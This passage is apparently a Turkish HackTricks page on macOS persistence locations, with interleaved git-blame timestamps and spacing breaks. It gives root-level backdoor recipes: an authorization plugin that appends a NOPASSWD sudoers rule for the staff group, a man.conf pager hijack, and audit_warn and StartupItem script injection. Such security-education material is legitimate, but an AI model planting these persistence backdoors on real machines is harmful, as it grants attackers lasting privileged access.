Kullanı cı oturum açtı ğı nda kalı cı lı ğı sürdürmek için yürütülecek bir yetkilendirme eklentisi oluşturabilirsiniz. Bu tür eklentilerden birini nası l oluşturacağı nı z hakkı nda daha fazla bilgi için önceki açı klamalara bakı n (ve dikkat edin, kötü yazı lmı ş bir eklenti sizi dı şarı da bı rakabilir ve Mac'inizi kurtarma modundan temizlemeniz gerekebilir).
2023-11-03 11:03:53 +00:00
```objectivec
// Compile the code and create a real bundle
// gcc -bundle -framework Foundation main.m -o CustomAuth
// mkdir -p CustomAuth.bundle/Contents/MacOS
// mv CustomAuth CustomAuth.bundle/Contents/MacOS/
#import <Foundation/Foundation.h>
__attribute__((constructor)) static void run()
{
2024-02-10 18:14:16 +00:00
NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded");
system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers");
2023-11-03 11:03:53 +00:00
}
```
2024-02-13 00:51:21 +00:00
**Birleşimi** yüklenmesi gereken konuma taşı yı n:
2023-11-03 11:03:53 +00:00
```bash
cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/
```
2024-02-10 18:14:16 +00:00
Son olarak, bu Eklentiyi yüklemek için **kuralı ** ekleyin:
2023-11-03 11:03:53 +00:00
```bash
cat > /tmp/rule.plist < < EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
< plist version = "1.0" >
< dict >
2024-02-10 18:14:16 +00:00
< key > class< / key >
< string > evaluate-mechanisms< / string >
< key > mechanisms< / key >
< array >
< string > CustomAuth:login,privileged< / string >
< / array >
< / dict >
2023-11-03 11:03:53 +00:00
< / plist >
EOF
security authorizationdb write com.asdf.asdf < /tmp/rule.plist
```
2024-02-13 00:51:21 +00:00
**`evaluate-mechanisms`** yetkilendirme çerçevesine dı ş bir mekanizmayı çağı rması gerekeceğini belirtecektir. Dahası , ** `privileged` ** root tarafı ndan yürütülmesini sağlayacaktı r.
2023-11-03 11:03:53 +00:00
2024-02-13 00:51:21 +00:00
Tetikleyin:
2023-11-03 11:03:53 +00:00
```bash
security authorize com.asdf.asdf
```
2024-02-13 00:51:21 +00:00
Ve sonra **personel grubunun sudo erişimi olmalı dı r** (`/etc/sudoers` dosyası nı okuyun doğrulamak için).
2023-11-03 11:03:53 +00:00
2023-09-28 20:05:35 +00:00
### Man.conf
2023-06-01 21:09:46 +00:00
2024-02-13 00:51:21 +00:00
Açı klama: [https://theevilbit.github.io/beyond/beyond\_0030/ ](https://theevilbit.github.io/beyond/beyond\_0030/ )
2023-06-01 21:09:46 +00:00
2024-02-13 00:51:21 +00:00
* Kum havuzunu atlamak için kullanı şlı : [🟠 ](https://emojipedia.org/large-orange-circle )
2024-02-10 18:14:16 +00:00
* Ancak root olmanı z ve kullanı cı nı n man kullanması gerekmektedir
* TCC atlatma: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* **`/private/etc/man.conf`**
2024-02-13 00:51:21 +00:00
* Root gerekli
* **`/private/etc/man.conf`**: Her man kullanı ldı ğı nda
2023-06-01 21:09:46 +00:00
2024-02-13 00:51:21 +00:00
#### Açı klama ve Sı zma
2023-06-01 21:09:46 +00:00
2024-02-13 00:51:21 +00:00
Yapı landı rma dosyası ** `/private/etc/man.conf` **, man belgelendirme dosyaları nı açarken kullanı lacak ikili betikleri gösterir. Bu nedenle yürütülecek arka kapı her zaman kullanı cı belgeleri okumak için man kullandı ğı nda değiştirilebilir.
2023-06-01 21:09:46 +00:00
2024-02-13 00:51:21 +00:00
Örneğin ** `/private/etc/man.conf` ** içinde ayarlanmı ş:
2023-09-28 20:05:35 +00:00
```
MANPAGER /tmp/view
2023-06-01 21:09:46 +00:00
```
2024-02-10 18:14:16 +00:00
Ve ardı ndan `/tmp/view` 'i şu şekilde oluşturun:
2023-06-01 21:09:46 +00:00
```bash
2023-09-28 20:05:35 +00:00
#!/bin/zsh
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
touch /tmp/manconf
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
/usr/bin/less -s
```
2023-09-28 15:09:34 +00:00
### Apache2
2024-02-13 00:51:21 +00:00
**Açı klama**: [https://theevilbit.github.io/beyond/beyond\_0023/ ](https://theevilbit.github.io/beyond/beyond\_0023/ )
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
* Kum havuzunu atlamak için kullanı şlı : [🟠 ](https://emojipedia.org/large-orange-circle )
* Ancak root olmanı z ve apache'nin çalı şı yor olması gerekmektedir
2024-02-10 18:14:16 +00:00
* TCC atlatma: [🔴 ](https://emojipedia.org/large-red-circle )
2024-02-13 00:51:21 +00:00
* Httpd'nin ayrı calı kları yok
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
* **`/etc/apache2/httpd.conf`**
2024-02-13 00:51:21 +00:00
* Root gereklidir
2024-02-10 18:14:16 +00:00
* Tetikleyici: Apache2 başlatı ldı ğı nda
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
#### Açı klama ve Sı zma
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
`/etc/apache2/httpd.conf` dosyası nda bir modülü yüklemesi için bir satı r eklemek için şunu belirtebilirsiniz:
2023-09-28 15:09:34 +00:00
{% code overflow="wrap" %}
```bash
LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority"
```
{% endcode %}
2024-02-13 00:51:21 +00:00
Bu şekilde derlenmiş modülleriniz Apache tarafı ndan yüklenecektir. Tek yapmanı z gereken ya **geçerli bir Apple sertifikası ile imzalamak** ya da sisteme **yeni bir güvenilir sertifika eklemek** ve onunla **imzalamak** .
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
Ardı ndan, gerektiğinde sunucunun başlatı lacağı ndan emin olmak için şunu çalı ştı rabilirsiniz:
2023-09-28 15:09:34 +00:00
```bash
sudo launchctl load -w /System/Library/LaunchDaemons/org.apache.httpd.plist
```
2024-02-13 00:51:21 +00:00
Kod örneği Dylb için:
2023-09-28 15:09:34 +00:00
```objectivec
#include <stdio.h>
#include <syslog.h>
__attribute__((constructor))
static void myconstructor(int argc, const char **argv)
{
2024-02-10 18:14:16 +00:00
printf("[+] dylib constructor called from %s\n", argv[0]);
syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]);
2023-09-28 15:09:34 +00:00
}
```
2024-02-10 18:14:16 +00:00
### BSM denetim çerçevesi
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
Açı klama: [https://theevilbit.github.io/beyond/beyond\_0031/ ](https://theevilbit.github.io/beyond/beyond\_0031/ )
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
* Kum havuzunu atlamak için faydalı : [🟠 ](https://emojipedia.org/large-orange-circle )
* Ancak kök olmanı z, auditd'nin çalı şı yor olması ve bir uyarı ya neden olmanı z gerekir
2024-02-10 18:14:16 +00:00
* TCC atlatma: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
* **`/etc/security/audit_warn`**
2024-02-13 00:51:21 +00:00
* Kök erişimi gereklidir
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: Auditd bir uyarı algı ladı ğı nda
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
#### Açı klama ve Sı zma
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
Auditd bir uyarı algı ladı ğı nda ** `/etc/security/audit_warn` ** betiği **çalı ştı rı lı r** . Bu nedenle kendi yükünüzü ekleyebilirsiniz.
2023-09-28 15:09:34 +00:00
```bash
echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
2023-06-01 21:09:46 +00:00
```
2024-02-10 18:14:16 +00:00
### Başlangı ç Öğeleri
2023-06-01 21:09:46 +00:00
2023-09-26 23:39:35 +00:00
{% hint style="danger" %}
2024-02-13 00:51:21 +00:00
**Bu artı k kullanı mdan kaldı rı ldı , bu yüzden bu dizinlerde hiçbir şey bulunmamalı dı r.**
2023-09-26 23:39:35 +00:00
{% endhint %}
2023-06-01 21:09:46 +00:00
2024-02-13 00:51:21 +00:00
**StartupItem**, ya `/Library/StartupItems/` ya da `/System/Library/StartupItems/` içinde bulunması gereken bir dizindir. Bu dizin oluşturulduğunda, içermesi gereken iki belirli dosya bulunmalı dı r:
2024-02-07 04:06:18 +00:00
2024-02-10 18:14:16 +00:00
1. Bir **rc betiği** : Başlangı çta çalı ştı rı lan bir kabuk betiği.
2024-02-13 00:51:21 +00:00
2. **plist dosyası ** , özellikle `StartupParameters.plist` adı nda, çeşitli yapı landı rma ayarları nı içeren.
2023-06-01 21:09:46 +00:00
2024-02-13 00:51:21 +00:00
Başlangı ç işlemi tarafı ndan bunları tanı ması ve kullanması için hem rc betiğinin hem de `StartupParameters.plist` dosyası nı n doğru şekilde **StartupItem** dizini içine yerleştirildiğinden emin olun.
2023-06-01 21:09:46 +00:00
{% tabs %}
{% tab title="StartupParameters.plist" %}
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
< plist version = "1.0" >
< dict >
2024-02-10 18:14:16 +00:00
< key > Description< / key >
< string > This is a description of this service< / string >
< key > OrderPreference< / key >
< string > None< / string > <!-- Other req services to execute before this -->
< key > Provides< / key >
< array >
< string > superservicename< / string > <!-- Name of the services provided by this file -->
< / array >
2023-06-01 21:09:46 +00:00
< / dict >
< / plist >
```
2024-02-13 00:51:21 +00:00
{% endtab %}
{% tab title="superservicename" %}
## macOS Auto-Start Locations
### Launch Agents
Launch Agents are used to run processes when a user logs in. They are located in the following directories:
- `/Library/LaunchAgents`
- `/System/Library/LaunchAgents`
- `/Users/username/Library/LaunchAgents`
### Launch Daemons
Launch Daemons are used to run processes at system startup. They are located in the following directories:
- `/Library/LaunchDaemons`
- `/System/Library/LaunchDaemons`
### Login Items
Login Items are applications that open when a user logs in. They can be managed in:
- `System Preferences > Users & Groups > Login Items`
### Startup Items
Startup Items are legacy items that automatically launch when a user logs in. They are located in:
- `/Library/StartupItems`
- `/System/Library/StartupItems`
### Cron Jobs
Cron Jobs are scheduled tasks that run at specific times. They can be managed using the `crontab` command.
### XPC Services
XPC Services are helper tools that can be launched by applications. They are located in:
- `/Library/LaunchAgents`
- `/Library/LaunchDaemons`
- `/System/Library/LaunchAgents`
- `/System/Library/LaunchDaemons`
### Kernel Extensions
Kernel Extensions are low-level modules that can be automatically loaded at system startup. They are located in:
- `/Library/Extensions`
- `/System/Library/Extensions`
### Third-Party Installers
Third-party installers may place startup items in various locations on the system. It is important to review these installations for potential security risks.
{% endtab %}
2023-06-01 21:09:46 +00:00
```bash
#!/bin/sh
. /etc/rc.common
StartService(){
2024-02-10 18:14:16 +00:00
touch /tmp/superservicestarted
2023-06-01 21:09:46 +00:00
}
StopService(){
2024-02-10 18:14:16 +00:00
rm /tmp/superservicestarted
2023-06-01 21:09:46 +00:00
}
RestartService(){
2024-02-10 18:14:16 +00:00
echo "Restarting"
2023-06-01 21:09:46 +00:00
}
RunService "$1"
```
{% endtab %}
{% endtabs %}
2023-09-28 20:05:35 +00:00
### ~~emond~~
{% hint style="danger" %}
2024-02-13 00:51:21 +00:00
Bu bileşeni macOS'ta bulamı yorum, daha fazla bilgi için yazı ya bakı n
2023-09-28 20:05:35 +00:00
{% endhint %}
2024-02-10 18:14:16 +00:00
Yazı : [https://theevilbit.github.io/beyond/beyond\_0023/ ](https://theevilbit.github.io/beyond/beyond\_0023/ )
2023-09-28 20:05:35 +00:00
2024-02-13 00:51:21 +00:00
Apple tarafı ndan tanı tı lan **emond** , geliştirilmemiş veya muhtemelen terkedilmiş gibi görünen bir günlükleme mekanizması dı r, ancak hala erişilebilir durumda. Mac yöneticileri için özellikle faydalı olmasa da, bu belirsiz hizmet, tehdit aktörleri için hafif bir kalı cı lı k yöntemi olarak hizmet edebilir ve muhtemelen çoğu macOS yöneticisi tarafı ndan fark edilmeyebilir.
2023-09-28 20:05:35 +00:00
2024-02-13 00:51:21 +00:00
Varlı ğı ndan haberdar olanlar için, **emond** 'un herhangi bir kötüye kullanı mı nı tespit etmek kolaydı r. Bu servisin sistem için LaunchDaemon'ı , tek bir dizinde yürütülecek betikler arar. Bunun incelenmesi için aşağı daki komut kullanı labilir:
2023-09-28 20:05:35 +00:00
```bash
ls -l /private/var/db/emondClients
```
### ~~XQuartz~~
2024-02-13 00:51:21 +00:00
Yazı lı m: [https://theevilbit.github.io/beyond/beyond\_0018/ ](https://theevilbit.github.io/beyond/beyond\_0018/ )
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 20:05:35 +00:00
* **`/opt/X11/etc/X11/xinit/privileged_startx.d`**
2024-02-10 18:14:16 +00:00
* Root gereklidir
* **Tetikleyici**: XQuartz ile
2023-09-28 20:05:35 +00:00
2024-02-13 00:51:21 +00:00
#### Açı klama ve Sı zma
2023-09-28 20:05:35 +00:00
2024-02-13 00:51:21 +00:00
XQuartz artı k macOS'ta **kurulu değil** , bu yüzden daha fazla bilgi için yazı lı ma bakı n.
2023-09-28 20:05:35 +00:00
### ~~kext~~
{% hint style="danger" %}
2024-02-13 00:51:21 +00:00
Kext'i yüklemek bile kök olarak çok karmaşı ktı r, bu yüzden bunu kum havuzları ndan kaçmak veya kalı cı lı k için düşünmeyeceğim (bir açı k yoksa)
2023-09-28 20:05:35 +00:00
{% endhint %}
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 20:05:35 +00:00
2024-02-13 00:51:21 +00:00
Bir KEXT'i başlangı ç öğesi olarak yüklemek için, aşağı daki konumlardan birine **yüklü olması gerekir** :
2023-09-28 20:05:35 +00:00
* `/System/Library/Extensions`
2024-02-13 00:51:21 +00:00
* OS X işletim sistemi tarafı ndan derlenmiş KEXT dosyaları .
2023-09-28 20:05:35 +00:00
* `/Library/Extensions`
2024-02-10 18:14:16 +00:00
* 3. taraf yazı lı m tarafı ndan yüklenen KEXT dosyaları
2023-09-28 20:05:35 +00:00
2024-02-13 00:51:21 +00:00
Şu anda yüklenmiş kext dosyaları nı listeleyebilirsiniz:
2023-09-28 20:05:35 +00:00
```bash
kextstat #List loaded kext
kextload /path/to/kext.kext #Load a new one based on path
kextload -b com.apple.driver.ExampleBundle #Load a new one based on path
kextunload /path/to/kext.kext
kextunload -b com.apple.driver.ExampleBundle
```
2024-02-13 00:51:21 +00:00
Daha fazla bilgi için [**çekirdek uzantı ları na bu bölüme bakı n** ](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers ).
2023-09-28 20:05:35 +00:00
### ~~amstoold~~
2024-02-10 18:14:16 +00:00
Açı klama: [https://theevilbit.github.io/beyond/beyond\_0029/ ](https://theevilbit.github.io/beyond/beyond\_0029/ )
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 20:05:35 +00:00
* **`/usr/local/bin/amstoold`**
2024-02-10 18:14:16 +00:00
* Root gereklidir
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama ve Sömürü
2023-09-28 20:05:35 +00:00
2024-02-13 00:51:21 +00:00
Görünüşe göre `/System/Library/LaunchAgents/com.apple.amstoold.plist` 'den gelen `plist` bu ikiliyi kullanı yordu ve bir XPC servisini açı ğa çı karı yordu... sorun şu ki ikili mevcut değildi, bu yüzden bir şey yerleştirebilir ve XPC servisi çağrı ldı ğı nda ikili çağrı lacaktı .
2023-09-28 20:05:35 +00:00
2024-02-13 00:51:21 +00:00
Artı k macOS'ta bunu bulamı yorum.
2023-09-28 20:05:35 +00:00
### ~~xsanctl~~
2024-02-10 18:14:16 +00:00
Açı klama: [https://theevilbit.github.io/beyond/beyond\_0015/ ](https://theevilbit.github.io/beyond/beyond\_0015/ )
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 20:05:35 +00:00
* **`/Library/Preferences/Xsan/.xsanrc`**
2024-02-10 18:14:16 +00:00
* Root gereklidir
2024-02-13 00:51:21 +00:00
* **Tetikleyici**: Servis çalı ştı rı ldı ğı nda (nadiren)
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama ve sömürü
2023-09-28 20:05:35 +00:00
2024-02-13 00:51:21 +00:00
Bu betiği çalı ştı rmak pek yaygı n değil gibi görünüyor ve macOS'ta bile bulamadı m, bu yüzden daha fazla bilgi istiyorsanı z yazı ya bakı n.
2023-09-28 20:05:35 +00:00
### ~~/etc/rc.common~~
2023-06-01 21:09:46 +00:00
{% hint style="danger" %}
2024-02-10 18:14:16 +00:00
**Bu modern MacOS sürümlerinde çalı şmı yor**
2023-06-01 21:09:46 +00:00
{% endhint %}
2024-02-13 00:51:21 +00:00
Ayrı ca buraya **başlangı çta çalı ştı rı lacak komutlar** yerleştirmek mümkündür. Tipik bir rc.common betiği örneği:
2023-06-01 21:09:46 +00:00
```bash
#
# Common setup for startup scripts.
#
# Copyright 1998-2002 Apple Computer, Inc.
#
######################
# Configure the shell #
######################
#
# Be strict
#
#set -e
set -u
#
# Set command search path
#
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/libexec:/System/Library/CoreServices; export PATH
#
# Set the terminal mode
#
#if [ -x /usr/bin/tset ] && [ -f /usr/share/misc/termcap ]; then
# TERM=$(tset - -Q); export TERM
#fi
###################
# Useful functions #
###################
#
# Determine if the network is up by looking for any non-loopback
# internet network interfaces.
#
CheckForNetwork()
{
2024-02-10 18:14:16 +00:00
local test
if [ -z "${NETWORKUP:=}" ]; then
test=$(ifconfig -a inet 2>/dev/null | sed -n -e '/127.0.0.1/d' -e '/0.0.0.0/d' -e '/inet/p' | wc -l)
if [ "${test}" -gt 0 ]; then
NETWORKUP="-YES-"
else
NETWORKUP="-NO-"
fi
fi
2023-06-01 21:09:46 +00:00
}
alias ConsoleMessage=echo
#
# Process management
#
GetPID ()
{
2024-02-10 18:14:16 +00:00
local program="$1"
local pidfile="${PIDFILE:=/var/run/${program}.pid}"
local pid=""
if [ -f "${pidfile}" ]; then
pid=$(head -1 "${pidfile}")
if ! kill -0 "${pid}" 2> /dev/null; then
echo "Bad pid file $pidfile; deleting."
pid=""
rm -f "${pidfile}"
fi
fi
if [ -n "${pid}" ]; then
echo "${pid}"
return 0
else
return 1
fi
2023-06-01 21:09:46 +00:00
}
#
# Generic action handler
#
RunService ()
{
2024-02-10 18:14:16 +00:00
case $1 in
start ) StartService ;;
stop ) StopService ;;
restart) RestartService ;;
* ) echo "$0: unknown argument: $1";;
esac
2023-06-01 21:09:46 +00:00
}
```
2024-02-10 18:14:16 +00:00
## Kalı cı lı k teknikleri ve araçları
2023-06-01 21:09:46 +00:00
* [https://github.com/cedowens/Persistent-Swift ](https://github.com/cedowens/Persistent-Swift )
* [https://github.com/D00MFist/PersistentJXA ](https://github.com/D00MFist/PersistentJXA )
< details >
2024-02-13 00:51:21 +00:00
< summary > < strong > AWS hackleme konusunda sı fı rdan kahraman olmaya kadar öğrenin< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2023-06-01 21:09:46 +00:00
2024-02-10 18:14:16 +00:00
HackTricks'ı desteklemenin diğer yolları :
2023-12-30 20:49:49 +00:00
2024-02-13 00:51:21 +00:00
* **Şirketinizi HackTricks'te reklamı nı görmek istiyorsanı z** veya **HackTricks'i PDF olarak indirmek istiyorsanı z** [**ABONELİK PLANLARI** ](https://github.com/sponsors/carlospolop )'na göz atı n!
2024-02-10 18:14:16 +00:00
* [**Resmi PEASS & HackTricks ürünlerini** ](https://peass.creator-spring.com ) edinin
2024-02-13 00:51:21 +00:00
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )'yi keşfedin, özel [**NFT'lerimiz** ](https://opensea.io/collection/the-peass-family ) koleksiyonumuz
* **Katı lı n** 💬 [**Discord grubuna** ](https://discord.gg/hRep4RUj7f ) veya [**telegram grubuna** ](https://t.me/peass ) veya bizi **Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks\_live )'da **takip edin** .
* **Hacking püf noktaları nı zı paylaşarak PR göndererek** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) ve [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github depoları na katkı da bulunun.
2023-06-01 21:09:46 +00:00
< / details >